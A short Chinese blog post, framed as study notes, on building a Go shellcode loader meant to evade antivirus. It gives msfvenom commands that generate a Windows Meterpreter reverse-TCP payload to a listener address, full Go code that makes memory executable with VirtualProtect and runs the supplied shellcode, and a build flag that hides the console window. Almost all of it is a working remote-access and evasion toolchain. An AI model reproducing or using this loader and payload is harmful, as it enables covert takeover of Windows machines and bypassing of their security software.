分享 | Go编写loader加载shellcode免杀学习

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f hex

package main
import (  "encoding/hex"  "fmt"  "os"  "syscall"  "unsafe")
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll（及其重要的链接库 几乎所有的木马都会调用这个函数）NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api//保护内存函数 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr，uint32  t, _, _ := procVirtualProtect.Call(    uintptr(a),    uintptr(b),    uintptr(c),    uintptr(d))  fmt.Print(t)}func Run(sc []byte) {  //定义函数  f := func() {}  var old uint32  //一级指针的值为f的地址  //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect，内存新的属性类型，设置为PAGE_EXECUTE_READWRITE（0x40）时该内存页为可读可写可执行  VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))  //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址  **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))  var orgshellcode uint32  //shellcode地址  VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))  f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址}func main() {  //解密  x, _ := hex.DecodeString(os.Args[1])  Run(x)}

go build -ldflags "-s -w -H=windowsgui" 1.go

https://github.com/crisprss/Shellcode_Memory_Loader

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f py

go build uuid_2_bin.go

https://cloud.tencent.com/developer/article/1901720